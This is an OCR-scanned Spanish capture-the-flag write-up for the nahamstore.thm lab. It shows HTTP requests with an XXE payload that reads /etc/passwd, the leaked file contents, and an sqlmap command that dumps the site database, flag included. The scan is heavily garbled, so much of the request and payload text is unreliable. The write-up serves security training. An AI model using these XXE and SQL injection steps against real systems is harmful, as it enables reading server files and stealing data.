Pretty IHHMI Hex Il ‘N =

POST /products17xml HTTP/1.1

' Host: stock.nahamstore.thm

i Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/S.0 (Windows NT 10.0:; Wing4; x64) ApplewWebiit/537.36 (KHTML, like
Gecko) Chrome/96,.0.4664, 45 Satari/537.36

Accept:
text/html,application/xhtml+xml, application/xml ;q=0.9, image/avif, image webp,1mage/ apng, */
*;q=0.8,application/signed-exchange;v=h3:0=0.9

Accept -Encoding: gzip, deflate

& Accept-Language: en-US,en;q=0.9

2 Connection: close

10 Content-Type: application/x-www-form-urlencoded

11 Content-Length: O

IS T
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Raw Hex R T in =

HTTP/1.1 400 Bad Request

Server: nginx/1.14.0 (Ubuntu)

Date: Thu, 01 Dec 2022 15:50:59 GMT
Content-Type: application/xml; charset=utf-8
Connection: close

Content-Length: 71

MWWk

8 =7xml wersion="1,0"7=
9 =data=
<Errors
Invalid XML supplied
<ferror=
=fdata=

Vamos a enviar otra solicitud POST con el fragmento de un archivo XML.

H.—u'llln-"-'.:

Sl Raw Hex QN 'n =

1 POST /product/17xml HTTP/1.1

2 Host: stock.nahamstore.thm

% Upgrade-Insecure-Requests: 1

4 User-Agent: Mozilla/S.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/96.0.4554.45 Satari/537.36

» Accept:
text/html,applicationsxhtml+xml,application/xml ;q=0.9,image/avif,image/webp,image/apng,*/
*1g=0.8,application/signed-exchange;v=h3:g=0.9

& Accept-Encoding: gzip, deflate

7 Accept-Language: en-US,en;g=0.9 ;Z :L
& Connection: close

9 Content-Type: application/x-www-form-urlencoded

10 Content-Length: 36

11

12 =?xml wersion="1,0"7=

13 =data=

=/data=

[0

H»—l"-’u}}l,!l"'\-‘\.n—l

R Raw Hex R r g N =

HTTF/1.1 400 Bad Request

Server: nginx/1.14.0 (Ubuntu)

Date: Thu, 01 Dec 2022 15:52:18 GMT
Content-Type: application/xml: charset=utf-8
Connection: close

Content-Length: 71

Sl LN L) R

2 =?xml version="1,0"7=
9 =data=
=Error=
¥-Token not supplied
=ferror=
=/data=

El error nos indica que no proporcionamos X-Token aunque el encabezado HTTP este
presente. ¢ Que significa esto? Pues que en el modo XML, el encabezado HTTP se ignora
y espera un valor XML.

Vamos a afnadir un valor de X-Token.
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Request

Raw Hex =

1 POST /product/17xml HTTP/1.1
2 Host: stock.nahamstore.thm
3 Upgrade-Insecure-Regquests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/96.0.4664.45 Safari/537.36
» Accept:
text/html,application/xhtml+xml,application/xml;q=0. 9,image/avif,image /webp,image/apnag, */
*;q=0.8,application/signed-exchange;v=b3:0=0.9
& Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;g=0.9
3 Connection: close
9 Content-Type: application/x-www-form-urlencoded
10 Centent-Length: 74

L

12 =?xml version="1.0"7=
13 =data=

<¥-Token=
14 elhackeretico
15 </¥-Token=

16 =/data=

Response

Raw Hex FRender B=E ‘N =

HTTP/1l.1 481 Unauthorized

Server: nginx/1.14.0 (Ubuntu)

Date: Thu, 01 Dec 2022 15:55:58 GMT
Content-Type: applicationsxml; charset=utf-8
Connection: close

Content-Length: 24

=7xml version="1.0"7= 22

=data=
=arror=
¥-Token
10 elhackeretico
11 1s invalid
=ferror=
=/data=

=

St ey I R T N

m

W

Dado que el valor que proporcionamos se refleja, vamos a realizar un ataque XXE. Vamos
a enviar una solicitud con el siguiente payload.

Response

Raw Hex Render in =

HTTF/1.1 401 Unauthorized

Server: nginx/1.14.0 (Ubuntu)

Date: Thu, 01 Dec 2022 15:59:11 GMT
Content-Type: application/xml; charset=utf-8
Connection: close

Content-Length: 84

=

W W R

2 =7xml wersion="1,0"7=
=data=
<Error=
¥-Token
10 elhackeretico
11 is invalid
<ferror=
=/data=

o
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Podemos confirmar la vulnerabilidad XXE, ya que devuelve la misma respuesta que en
la peticion anterior.

Modificamos el payload XXE anterior para ejecutar un ataque LFI a través de la
vulnerabilidad XXE.

Qu.“|uﬁ7

DVl Raw Hex SN N =

1 POST /product/1%xml HTTP/1.1
2 Host: stock.nahamstore.thm
% Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x&4) AppleWebKit/537.36 (KHTML, Llike
Gecko) Chrome/985,0,4684,45 Safari/537.36
- Accept:
text/html, application/xhtml+xml, application/xml;q=0.9,image/avif, image /webp, image/apng, ¥/
*;q=0.8,application/signed-exchange:v=b3:q=0.9
& Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;qg=0.9
& Connection: close
9 Content-Type: application/x-www-form-urlencoded
10 Content-Length: 142

1]

12 <?xml version="1.0"7>
13  <IDOCTYPE data [ <!ELEMENT data ANY=> <!ENTITY xxe SYSTEM "/etc/passwd" =]=
14 =data=

<¥-Token=
15 Lxxe
15 =/¥-Token=

17 =/datas]

HTTP/1.1 401 Unauthorized

Server: nginx/1l.14.0 (Ubuntu)

Date: Thu, 01 Dec 2022 16:01:50 GMT 23
Content-Type: applicationsxml: charset=utf-8

Connection: close
Content-Length: 1304

<?7xml wersion="1.0"7=
=data=
=Eerrors=
¥-Taoken
root:x:0:0:root: /root:/bin/bash
daemon:x:1:1l:daemon: fusr/shin: fusr/shin/nologin
bin:x:2:2:bin: fbin: fusr/sbin/nologin
sys:x:3:3:sys: fdev: fusr/shin/nologin
syncx: 465534 sync: fbhin: fhinssync
games:x:5:60:games: fusr/games;: fusr/sbin/nelogin
man:x:6:12:man: /varscaches/man: fusr/shin/nologin
Tpix:7:7:lp: fvarsspool/lpd: fusr/sbin/nologin
mail:x:8:8:ma1l:/var/mail: fusr/shin/nologin
news:x:9:9: news: /var/spool /news: fusry/shin/nologin
uucp:x:10:10:uucp: fvar/spool fuucp: fusr/shin/nologin
proxy:x:13:13: proxy:/bin: susr/sbinsnologin
www-data:x:33:331www-data: /var/www: fusr/sbin/nolegin
backup:x:34: 34 backup: fvar/backups: fusr/shin/nologin
list:x:38:38:Mailing List Manager:/var,/list:/usr/sbin/nologin

Hemos podido acceder a la lista de usuarios del sistema.

2.9. Inyeccion SQL

2.9.1. SQLisobre pardametro id=
Al enviar un parametro no valido para un producto, recibimos un mensaje de error para
MySQL.

8

ELHACKER
£ilD




&

C A Notsecure | nahamstore.thm/product?id=%:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near " LIMIT 1" at line 1

Con SQLMap, vamos a automatizar el proceso de extraccion de datos de la base de datos
del sitio Web.

available databases [2]:
[*] information_schema
[*] nahamstore

Extraemos la informacion de la base de datos.

sqlmap -u "http://nahamstore.thm/product?id=" -dbs --dbms= --dump -D nahamstore --batch

Database: nahamstore
Table: sgli_one

e i T +

| id | flag

i e +
| {d898234e20bes48ff96a2f0caabdde55¢c} |

Database: nahamstore
Table: product
[2 entries]

| id | cost | name | image | description
I
B SR oo e T
-+
| 1 | 2500 | Hoodie + Tee | c1@fcB8eaS8cbocaefledbc0949337ff1 | Hack all the things with this awesome hoodie and t-shirt combination
I

| 2 | 1500 | Sticker Pack | cbf45788a7c3ff5c2fab3che740595d4 | Not only do these stickers look awesome, they are proven to increase your hacking skills by at least 30f
% |
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